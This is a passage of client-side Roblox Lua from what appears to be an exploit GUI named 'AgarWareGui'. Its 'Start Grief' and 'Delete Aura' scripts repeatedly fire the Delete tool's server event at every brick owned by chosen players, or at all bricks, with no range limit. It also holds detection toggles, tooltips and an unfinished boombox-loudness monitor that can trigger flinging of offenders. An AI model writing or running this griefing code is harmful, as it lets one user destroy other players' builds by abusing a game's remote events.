	local ToggleGriefButton = ToggleGriefRow:WaitForChild("ToggleGriefButton")
	
	-- Get the SelectD row to access selected players
	local SelectDRow = GriefGroup:FindFirstChild("SelectDRow")
	
	-- State
	local isGriefing = false
	local griefLoop = nil
	
	-- Text states
	local TEXT_START = "Start Grief"
	local TEXT_STOP = "Stop Grief"
	local TEXT_NO_BLOCKS = "No Blocks Found"
	
	-- Network delay
	local ws = 0.05
	
	-- ============================================================
	-- GET SELECTED PLAYERS
	-- ============================================================
	local function getSelectedPlayers()
		if shared.GriefSelectedPlayers then
			return shared.GriefSelectedPlayers
		end
	
		if SelectDRow then
			local attr = SelectDRow:GetAttribute("SelectedPlayers")
			if attr and attr ~= "" then
				local players = {}
				for name in string.gmatch(attr, "[^,]+") do
					players[name] = true
				end
				return players
			end
		end
	
		return {}
	end
	
	-- ============================================================
	-- GET ALL TARGET BLOCKS (INFINITE RANGE)
	-- ============================================================
	local function getAllTargetBlocks()
		local blocks = {}
		local selectedPlayers = getSelectedPlayers()
		local bricksFolder = workspace:FindFirstChild("Bricks")
	
		if not bricksFolder then return blocks end
	
		for playerName, _ in pairs(selectedPlayers) do
			local playerFolder = bricksFolder:FindFirstChild(playerName)
			if playerFolder then
				for _, brick in ipairs(playerFolder:GetChildren()) do
					if brick:IsA("BasePart") and brick.Name == "Brick" then
						table.insert(blocks, brick)
					end
				end
			end
		end
	
		local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
		if hrp then
			table.sort(blocks, function(a, b)
				local distA = (a.Position - hrp.Position).Magnitude
				local distB = (b.Position - hrp.Position).Magnitude
				return distA < distB
			end)
		end
	
		return blocks
	end
	
	-- ============================================================
	-- GET DELETE TOOLS
	-- ============================================================
	local function findDeleteTools()
		local dtools = {}
	
		for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
			if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
				table.insert(dtools, {bt = v, e = v.Script.Event})
			end
		end
	
		if LocalPlayer.Character then
			for _, v in pairs(LocalPlayer.Character:GetChildren()) do
				if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
					table.insert(dtools, {bt = v, e = v.Script.Event})
				end
			end
		end
	
		return dtools
	end
	
	-- ============================================================
	-- START GRIEFING
	-- ============================================================
	local function startGrief()
		local dtools = findDeleteTools()
		if #dtools == 0 then
			ToggleGriefButton.Text = "Delete tool not found"
			task.wait(1)
			ToggleGriefButton.Text = TEXT_START
			return
		end
	
		local selectedPlayers = getSelectedPlayers()
		if not next(selectedPlayers) then
			ToggleGriefButton.Text = "No players selected"
			task.wait(1)
			ToggleGriefButton.Text = TEXT_START
			return
		end
	
		isGriefing = true
		ToggleGriefButton.Text = TEXT_STOP
	
		griefLoop = task.spawn(function()
			local dti = 0
			local lastRefreshTime = 0
	
			-- Initial refresh when starting
			if shared.DeleteToolRefresh then
				shared.DeleteToolRefresh()
			end
			lastRefreshTime = tick()
	
			while isGriefing do
				local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
				if not hrp then 
					task.wait()
					continue 
				end
	
				local dtools = findDeleteTools()
	
				if #dtools > 0 then
					local targetBlocks = getAllTargetBlocks()
	
					if #targetBlocks > 0 then
						-- Refresh every 5 seconds ONLY when blocks exist
						if tick() - lastRefreshTime >= 5 then
							if shared.DeleteToolRefresh then
								shared.DeleteToolRefresh()
							end
							lastRefreshTime = tick()
						end
	
						-- Fire delete events
						for _, block in pairs(targetBlocks) do
							if not isGriefing then break end
	
							if block and block:IsDescendantOf(workspace) then
								dti = dti + 1
								local dt = dtools[(dti % #dtools) + 1]
	
								pcall(function()
									dt.e:FireServer(block, hrp.Position)
								end)
	
								task.wait(ws / #dtools)
							end
						end
					else
						-- No blocks, don't refresh, just wait
						task.wait(0.5)
					end
				else
					task.wait(1)
				end
	
				task.wait()
			end
		end)
	end
	
	-- ============================================================
	-- STOP GRIEFING
	-- ============================================================
	local function stopGrief()
		isGriefing = false
		ToggleGriefButton.Text = TEXT_START
	
		if griefLoop then
			task.cancel(griefLoop)
			griefLoop = nil
		end
	
		task.wait(0.1)
		local dtools = findDeleteTools()
		for _, dt in pairs(dtools) do
			if dt.bt.Parent == LocalPlayer.Character then
				dt.bt.Parent = LocalPlayer.Backpack
			end
		end
	end
	
	-- ============================================================
	-- BUTTON HANDLERS
	-- ============================================================
	ToggleGriefButton.MouseEnter:Connect(function()
		if not isGriefing then
			local targetBlocks = getAllTargetBlocks()
			if #targetBlocks == 0 then
				ToggleGriefButton.Text = TEXT_NO_BLOCKS
			end
		end
	end)
	
	ToggleGriefButton.MouseLeave:Connect(function()
		if not isGriefing then
			ToggleGriefButton.Text = TEXT_START
		end
	end)
	
	ToggleGriefButton.MouseButton1Click:Connect(function()
		if isGriefing then
			stopGrief()
		else
			startGrief()
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if isGriefing then
				stopGrief()
			end
		end
	end)
end;
task.spawn(C_1de);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.GriefGroup.GriefAllRow.GriefAllScript
local function C_1e1()
local script = G2L["1e1"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local RunService = game:GetService("RunService")
	
	local GriefAllRow = script.Parent
	local GriefGroup = GriefAllRow.Parent
	local GriefAllButton = GriefAllRow:WaitForChild("GriefAllButton")
	
	-- State
	local isGriefing = false
	local griefLoop = nil
	local highlightLoop = nil
	local highlights = {}
	
	-- Text states
	local TEXT_START = "Delete Aura"
	local TEXT_STOP = "Stop Delete Aura"
	local TEXT_NO_BLOCKS = "No Blocks Found"
	
	-- Network delay
	local ws = 0.05
	
	-- ============================================================
	-- GET ALL TARGET BLOCKS
	-- ============================================================
	local function getAllTargetBlocks()
		local blocks = {}
		local bricksFolder = workspace:FindFirstChild("Bricks")
		if not bricksFolder then return blocks end
	
		for _, brick in ipairs(bricksFolder:GetDescendants()) do
			if brick:IsA("BasePart") and brick.Name == "Brick" then
				table.insert(blocks, brick)
			end
		end
	
		local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
		if hrp then
			table.sort(blocks, function(a, b)
				local distA = (a.Position - hrp.Position).Magnitude
				local distB = (b.Position - hrp.Position).Magnitude
				return distA < distB
			end)
		end
	
		return blocks
	end
	
	-- ============================================================
	-- GET DELETE TOOLS
	-- ============================================================
	local function findDeleteTools()
		local dtools = {}
	
		for _, v in pairs(LocalPlayer.Backpack:GetChildren()) do
			if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
				table.insert(dtools, {bt = v, e = v.Script.Event})
			end
		end
	
		if LocalPlayer.Character then
			for _, v in pairs(LocalPlayer.Character:GetChildren()) do
				if v:IsA("Tool") and v.Name == "Delete" and v:FindFirstChild("Script") and v.Script:FindFirstChild("Event") then
					table.insert(dtools, {bt = v, e = v.Script.Event})
				end
			end
		end
	
		return dtools
	end
	
	-- ============================================================
	-- CLEAR ALL HIGHLIGHTS
	-- ============================================================
	local function clearHighlights()
		for _, highlight in pairs(highlights) do
			if highlight and highlight.Parent then
				pcall(function()
					highlight:Destroy()
				end)
			end
		end
		highlights = {}
	end
	
	-- ============================================================
	-- START GRIEFING
	-- ============================================================
	local function startGrief()
		local dtools = findDeleteTools()
		if #dtools == 0 then
			GriefAllButton.Text = "Delete tool not found"
			task.wait(1)
			GriefAllButton.Text = TEXT_START
			return
		end
	
		isGriefing = true
		GriefAllButton.Text = TEXT_STOP
	
		-- HIGHLIGHT LOOP (separate thread)
		highlightLoop = task.spawn(function()
			while isGriefing do
				clearHighlights()
	
				local targetBlocks = getAllTargetBlocks()
				local blocksPerSecond = 1 / (ws / math.max(#dtools, 1))
				local highlightCount = math.floor(blocksPerSecond * 2)
	
				for i = 1, math.min(highlightCount, #targetBlocks) do
					local block = targetBlocks[i]
					if block and block:IsDescendantOf(workspace) then
						local highlight = Instance.new("Highlight")
						highlight.Adornee = block
						highlight.FillColor = Color3.fromRGB(255, 0, 0)
						highlight.OutlineColor = Color3.fromRGB(255, 0, 0)
						highlight.FillTransparency = 0.5
						highlight.OutlineTransparency = 1
						highlight.Parent = block
						table.insert(highlights, highlight)
					end
				end
	
				task.wait(0.1)
			end
			clearHighlights()
		end)
	
		-- GRIEF LOOP (separate thread)
		griefLoop = task.spawn(function()
			local dti = 0
			local lastRefreshTime = 0
	
			-- Initial refresh when starting
			if shared.DeleteToolRefresh then
				shared.DeleteToolRefresh()
			end
			lastRefreshTime = tick()
	
			while isGriefing do
				local hrp = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart")
				if not hrp then 
					task.wait()
					continue 
				end
	
				local dtools = findDeleteTools()
	
				if #dtools > 0 then
					local targetBlocks = getAllTargetBlocks()
	
					if #targetBlocks > 0 then
						-- Refresh every 5 seconds ONLY when blocks exist
						if tick() - lastRefreshTime >= 5 then
							if shared.DeleteToolRefresh then
								shared.DeleteToolRefresh()
							end
							lastRefreshTime = tick()
						end
	
						-- Check if any blocks are highlighted
						local hasHighlights = false
						for _, h in pairs(highlights) do
							if h and h.Parent then
								hasHighlights = true
								break
							end
						end
	
						-- DELETE ONLY HIGHLIGHTED BLOCKS (or any block if none highlighted)
						for _, block in ipairs(targetBlocks) do
							if not isGriefing then break end
	
							if block and block:IsDescendantOf(workspace) then
								-- Check if this block is highlighted
								local isHighlighted = false
								for _, h in pairs(highlights) do
									if h and h.Adornee == block then
										isHighlighted = true
										break
									end
								end
	
								-- Only delete if: highlighted OR no highlights exist at all
								if isHighlighted or not hasHighlights then
									dti = dti + 1
									local dt = dtools[(dti % #dtools) + 1]
	
									pcall(function()
										dt.e:FireServer(block, hrp.Position)
									end)
	
									task.wait(ws / #dtools)
								end
							end
						end
					else
						-- No blocks, don't refresh, just wait
						task.wait(0.5)
					end
				else
					task.wait(1)
				end
	
				task.wait()
			end
		end)
	end
	
	-- ============================================================
	-- STOP GRIEFING
	-- ============================================================
	local function stopGrief()
		isGriefing = false
		GriefAllButton.Text = TEXT_START
	
		if griefLoop then
			task.cancel(griefLoop)
			griefLoop = nil
		end
	
		if highlightLoop then
			task.cancel(highlightLoop)
			highlightLoop = nil
		end
	
		task.wait(0.1)
	
		clearHighlights()
	
		local dtools = findDeleteTools()
		for _, dt in pairs(dtools) do
			if dt.bt.Parent == LocalPlayer.Character then
				dt.bt.Parent = LocalPlayer.Backpack
			end
		end
	end
	
	-- ============================================================
	-- BUTTON HANDLERS
	-- ============================================================
	GriefAllButton.MouseEnter:Connect(function()
		if not isGriefing then
			local targetBlocks = getAllTargetBlocks()
			if #targetBlocks == 0 then
				GriefAllButton.Text = TEXT_NO_BLOCKS
			end
		end
	end)
	
	GriefAllButton.MouseLeave:Connect(function()
		if not isGriefing then
			GriefAllButton.Text = TEXT_START
		end
	end)
	
	GriefAllButton.MouseButton1Click:Connect(function()
		if isGriefing then
			stopGrief()
		else
			startGrief()
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if isGriefing then
				stopGrief()
			end
		end
	end)
end;
task.spawn(C_1e1);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableScript
local function C_1e7()
local script = G2L["1e7"];
	local EnableGroup = script.Parent
	local EnableMinimize = EnableGroup.EnableTitle.EnableMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(EnableGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = EnableGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	EnableMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			EnableGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			EnableMinimize.Text = "+"
		else
			EnableGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			EnableMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_1e7);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableToolTip
local function C_1e8()
local script = G2L["1e8"];
	-- ============================================================
	-- ENABLE TOOLTIP SCRIPT
	-- Controls Enable-related tooltips only
	-- ============================================================
	
	local Group = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND UI REFERENCES
	-- ============================================================
	
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local EnableDeleteTickBox    = findDescendant("EnableDeleteTickBox")
	local EnablePaintTickBox     = findDescendant("EnablePaintTickBox")
	local EnableSpamTickBox      = findDescendant("EnableSpamTickBox")
	local EnableExploitsTickBox  = findDescendant("EnableExploitsTickBox")
	local EnableHelp             = findDescendant("EnableHelp")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	
	local deleteTooltip = makeTooltip(
		"Detects players deleting other people's builds."
	)
	
	local paintTooltip = makeTooltip(
		"Detects players painting other people's builds."
	)
	
	local spamTooltip = makeTooltip(
		"Detects players spamming blocks."
	)
	
	local exploitsTooltip = makeTooltip(
		"Detects players using grief auras, grief scripts and other exploits. You must turn on any grief detections to detect when they use exploits to grief with those tools.\n\nAlert in chat will send a different message when they use scripts to grief."
	)
	
	local helpTooltip = makeTooltip(
		"Enabling any detection will monitor for possible griefing.\nTurn on punish options to automatically punish detected players.\n\nView detection logs by typing /console in chat."
	)
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	
	hookTooltip(EnableDeleteTickBox, deleteTooltip)
	hookTooltip(EnablePaintTickBox, paintTooltip)
	hookTooltip(EnableSpamTickBox, spamTooltip)
	hookTooltip(EnableExploitsTickBox, exploitsTooltip)
	hookTooltip(EnableHelp, helpTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			deleteTooltip:Destroy()
			paintTooltip:Destroy()
			spamTooltip:Destroy()
			exploitsTooltip:Destroy()
			helpTooltip:Destroy()
		end
	end)
end;
task.spawn(C_1e8);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableDeleteRow.EnableDeleteScript
local function C_1ef()
local script = G2L["1ef"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local EnableDeleteRow = script.Parent
	local EnableGroup = EnableDeleteRow.Parent
	local EnableDeleteTickBox = EnableDeleteRow:WaitForChild("EnableDeleteTickBox")
	local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
	local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
	
	local Enabled = false
	
	local function updateVisual()
		if Enabled then
			EnableDeleteTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
			print("Delete Detection ON")
		else
			EnableDeleteTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			print("Delete Detection OFF")
		end
	end
	
	EnableDeleteTickBox.MouseButton1Click:Connect(function()
		Enabled = not Enabled
		ScreenGui:SetAttribute("DeleteLogsEnabled", Enabled)
		updateVisual()
	end)
	
	updateVisual()
end;
task.spawn(C_1ef);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnablePaintRow.EnablePaintScript
local function C_1f3()
local script = G2L["1f3"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local EnablePaintRow = script.Parent
	local EnableGroup = EnablePaintRow.Parent
	local EnablePaintTickBox = EnablePaintRow:WaitForChild("EnablePaintTickBox")
	local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
	local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
	
	local Enabled = false
	
	local function updateVisual()
		if Enabled then
			EnablePaintTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
			print("Paint Detection ON")
		else
			EnablePaintTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			print("Paint Detection OFF")
		end
	end
	
	EnablePaintTickBox.MouseButton1Click:Connect(function()
		Enabled = not Enabled
		ScreenGui:SetAttribute("PaintLogsEnabled", Enabled)
		updateVisual()
	end)
	
	updateVisual()
end;
task.spawn(C_1f3);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableSpamRow.EnableSpamScript
local function C_1f7()
local script = G2L["1f7"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local EnableSpamRow = script.Parent
	local EnableGroup = EnableSpamRow.Parent
	local EnableSpamTickBox = EnableSpamRow:WaitForChild("EnableSpamTickBox")
	local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
	local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
	
	local Enabled = false
	
	local function updateVisual()
		if Enabled then
			EnableSpamTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
			print("Spam Detection ON")
		else
			EnableSpamTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			print("Spam Detection OFF")
		end
	end
	
	EnableSpamTickBox.MouseButton1Click:Connect(function()
		Enabled = not Enabled
		ScreenGui:SetAttribute("SpamLogsEnabled", Enabled)
		updateVisual()
	end)
	
	updateVisual()
end;
task.spawn(C_1f7);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.EnableGroup.EnableExploitsRow.EnableExploitsScript
local function C_1fb()
local script = G2L["1fb"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local EnableExploitsRow = script.Parent
	local EnableGroup = EnableExploitsRow.Parent
	local EnableExploitsTickBox = EnableExploitsRow:WaitForChild("EnableExploitsTickBox")
	local EnableAccentColor = EnableGroup:WaitForChild("EnableAccentColor")
	local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
	
	local Enabled = false
	
	local function updateVisual()
		if Enabled then
			EnableExploitsTickBox.BackgroundColor3 = EnableAccentColor.BackgroundColor3
			print("Exploits Detection ON")
		else
			EnableExploitsTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			print("Exploits Detection OFF")
		end
	end
	
	EnableExploitsTickBox.MouseButton1Click:Connect(function()
		Enabled = not Enabled
		ScreenGui:SetAttribute("ExploitsLogsEnabled", Enabled)
		updateVisual()
	end)
	
	updateVisual()
end;
task.spawn(C_1fb);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscScript
local function C_1ff()
local script = G2L["1ff"];
	local MiscGroup = script.Parent
	local MiscMinimize = MiscGroup.MiscTitle.MiscMinimize
	
	local function getRows()
		local rows = {}
		for _, child in ipairs(MiscGroup:GetChildren()) do
			if child:IsA("Frame") and string.find(child.Name, "Row") then
				table.insert(rows, child)
			end
		end
		return rows
	end
	
	local isMinimized = false
	local originalSize = MiscGroup.Size
	local minimizedSize = UDim2.new(0, 170, 0, 20)
	
	MiscMinimize.MouseButton1Click:Connect(function()
		isMinimized = not isMinimized
		local rows = getRows()
		if isMinimized then
			MiscGroup.Size = minimizedSize
			for _, row in ipairs(rows) do
				row.Visible = false
			end
			MiscMinimize.Text = "+"
		else
			MiscGroup.Size = originalSize
			for _, row in ipairs(rows) do
				row.Visible = true
			end
			MiscMinimize.Text = "-"
		end
	end)
end;
task.spawn(C_1ff);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.MiscToolTip
local function C_200()
local script = G2L["200"];
	-- ============================================================
	-- ENABLE TOOLTIP SCRIPT
	-- Controls Enable-related tooltips only
	-- ============================================================
	
	local Group = script.Parent
	
	-- ============================================================
	-- SCREENGUI HELPER
	-- ============================================================
	
	local function getScreenGui()
		local p = script.Parent
		while p do
			if p:IsA("ScreenGui") then
				return p
			end
			p = p.Parent
		end
	end
	
	local ScreenGui = getScreenGui()
	if not ScreenGui then return end
	
	-- ============================================================
	-- FIND UI REFERENCES
	-- ============================================================
	
	local function findDescendant(name)
		for _, v in pairs(ScreenGui:GetDescendants()) do
			if v.Name == name then
				return v
			end
		end
	end
	
	local LBoomboxTickBox = findDescendant("LBoomboxTickBox")
	local FDetectorRowTickBox = findDescendant("FDetectorRowTickBox")
	
	-- ============================================================
	-- TOOLTIP BUILDER
	-- ============================================================
	
	local function makeTooltip(text)
		local frame = Instance.new("Frame")
		frame.BackgroundColor3 = Color3.fromRGB(16,16,16)
		frame.BorderSizePixel = 0
		frame.ZIndex = 100
		frame.AutomaticSize = Enum.AutomaticSize.Y
		frame.Size = UDim2.new(0, 212, 0, 0)
		frame.Visible = false
		frame.Parent = ScreenGui
	
		local stroke = Instance.new("UIStroke")
		stroke.Color = Color3.fromRGB(57,57,57)
		stroke.Parent = frame
	
		local padding = Instance.new("UIPadding")
		padding.PaddingTop = UDim.new(0,6)
		padding.PaddingBottom = UDim.new(0,6)
		padding.PaddingLeft = UDim.new(0,6)
		padding.PaddingRight = UDim.new(0,6)
		padding.Parent = frame
	
		local label = Instance.new("TextLabel")
		label.BackgroundTransparency = 1
		label.Text = text
		label.TextColor3 = Color3.new(1,1,1)
		label.TextSize = 14
		label.TextXAlignment = Enum.TextXAlignment.Left
		label.TextYAlignment = Enum.TextYAlignment.Top
		label.Font = Enum.Font.GothamSemibold
		label.TextWrapped = true
		label.Size = UDim2.new(0,200,0,0)
		label.AutomaticSize = Enum.AutomaticSize.Y
		label.ZIndex = 101
		label.Parent = frame
	
		return frame
	end
	
	local function hookTooltip(button, tooltipFrame)
		if not button then return end
	
		button.MouseEnter:Connect(function()
			local abs = button.AbsolutePosition
			local size = button.AbsoluteSize
			tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y)
			tooltipFrame.Visible = true
		end)
	
		button.MouseLeave:Connect(function()
			tooltipFrame.Visible = false
		end)
	end
	
	-- ============================================================
	-- CREATE TOOLTIPS
	-- ============================================================
	
	local boomboxTooltip = makeTooltip(
		"Detects players playing their boombox too loud. Turn on alert in chat to notifed when this happens, turn on confirm grief to fling them."
	)
	
	local fdetectorTooltip = makeTooltip(
		"Detects players using fling scripts or touch flinging other players. Turn on alert in chat to be notified when this happens."
	)
	
	-- ============================================================
	-- HOOK THEM
	-- ============================================================
	
	hookTooltip(LBoomboxTickBox, boomboxTooltip)
	hookTooltip(FDetectorRowTickBox, fdetectorTooltip)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			boomboxTooltip:Destroy()
			fdetectorTooltip:Destroy()
		end
	end)
end;
task.spawn(C_200);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionLeftSide.MiscGroup.LBoomboxRow.LBoomboxScript
local function C_206()
local script = G2L["206"];
	local Players = game:GetService("Players")
	local RunService = game:GetService("RunService")
	local LocalPlayer = Players.LocalPlayer
	
	--------------------------------------------------
	-- GUI REFERENCES
	--------------------------------------------------
	local LBoomboxRow = script.Parent
	local MiscGroup = LBoomboxRow.Parent
	local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor")
	local LBoomboxTickBox = LBoomboxRow:WaitForChild("LBoomboxTickBox")
	local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui")
	
	--------------------------------------------------
	-- ENABLE STATE
	--------------------------------------------------
	local Enabled = false
	
	local function updateVisual()
		if Enabled then
			LBoomboxTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3
		else
			LBoomboxTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
		end
	end
	
	LBoomboxTickBox.MouseButton1Click:Connect(function()
		Enabled = not Enabled
		updateVisual()
	end)
	
	updateVisual()
	
	--------------------------------------------------
	-- SETTINGS
	--------------------------------------------------
	local LOUD_THRESHOLD = 700
	local CHECK_INTERVAL = 1       -- seconds between loudness checks per player
	local FAR_DISTANCE = 100        -- studs — if farther than this, snap camera to measure
	
	--------------------------------------------------
	-- TABLES
	--------------------------------------------------
	local lastCheck = {}
	local detectedIDs = {}  -- store detected AudioIds per player to prevent repeats
	
	--------------------------------------------------
	-- EVENTS
	--------------------------------------------------
	shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent")
	shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent")
	
	--------------------------------------------------
	-- GET BOOMBOX SOUND
	--------------------------------------------------
	local function getBoomboxSound(player)
		local char = workspace:FindFirstChild(player.Name)
		if not char then return nil end
		local boombox = char:FindFirstChild("SuperFlyGoldBoombox")
		if not boombox then return nil end
		for _, obj in ipairs(boombox:GetDescendants()) do
			if obj:IsA("Sound") then return obj end
		end
		return nil
	end
	
	--------------------------------------------------
	-- GET LOUDNESS (optimized)
	--------------------------------------------------
	local function getLoudness(player, sound)
		local myChar = LocalPlayer.Character
		local myHRP = myChar and myChar:FindFirstChild("HumanoidRootPart")
		local theirChar = workspace:FindFirstChild(player.Name)
		local theirHRP = theirChar and theirChar:FindFirstChild("HumanoidRootPart")
	
		if not myHRP or not theirHRP then
			return sound.PlaybackLoudness
		end
	
		local dist = (myHRP.Position - theirHRP.Position).Magnitude
	
		-- Only snap camera if far away
		if dist <= FAR_DISTANCE then
			return sound.PlaybackLoudness
		end
	
		-- Far-away: just approximate loudness without snapping every frame
		local cam = workspace.CurrentCamera
		local savedCFrame = cam.CFrame
		cam.CFrame = CFrame.new(theirHRP.Position)
		RunService.RenderStepped:Wait()
		local loudness = sound.PlaybackLoudness
		cam.CFrame = savedCFrame
		return loudness
	end
	
	--------------------------------------------------
	-- ALERT HELPERS
	--------------------------------------------------
	local function sendAlertChat(player)
		if not shared.sendChat then return end
		local alertRow = ScreenGui:FindFirstChild("AlertGriefRow", true)
		local alertTickBox = alertRow and alertRow:FindFirstChild("AlertGriefTickBox")
		if alertTickBox and alertTickBox:GetAttribute("Enabled") then
			shared.sendChat("🚨" .. player.DisplayName .. " is playing on the boombox too loud")
		end
	end
	
	local function playSFX()
		local sfxRow = ScreenGui:FindFirstChild("SFXGriefRow", true)
		local sfxTickBox = sfxRow and sfxRow:FindFirstChild("SFXGriefTickBox")
		if sfxTickBox and sfxTickBox:GetAttribute("Enabled") then
			local sound = LocalPlayer.PlayerGui:FindFirstChildOfClass("Sound")
			if sound then
				sound:Stop()
				sound:Play()
				task.delay(2, function() sound:Stop() end)
			end
		end
	end
	
	--------------------------------------------------
	-- TRIGGER
	--------------------------------------------------
	local function onBoomboxLoud(player, sound)
		if not Enabled then return end
	
		if not detectedIDs[player.UserId] then
			detectedIDs[player.UserId] = {}
		end
	
		local audioId = sound.SoundId
		if detectedIDs[player.UserId][audioId] then return end
		detectedIDs[player.UserId][audioId] = true
	
		print("[BOOMBOX] " .. player.Name .. " is too loud: AudioID=" .. audioId)
		sendAlertChat(player)
		playSFX()
	
		local confirmRow = ScreenGui:FindFirstChild("ConfirmGriefRow", true)
		local confirmTickBox = confirmRow and confirmRow:FindFirstChild("ConfirmGriefTickBox")
		if confirmTickBox and confirmTickBox:GetAttribute("Enabled") then
			shared.BoomboxLoudEvent:Fire(player)
		end
	end
	
	--------------------------------------------------
	-- DETECTION LOOP (optimized)
	--------------------------------------------------
	task.spawn(function()
		while true do
			if Enabled then
				local now = tick()
				for _, player in ipairs(Players:GetPlayers()) do
					if player == LocalPlayer then continue end
	
					local userId = player.UserId
					if not lastCheck[userId] or now - lastCheck[userId] >= CHECK_INTERVAL then
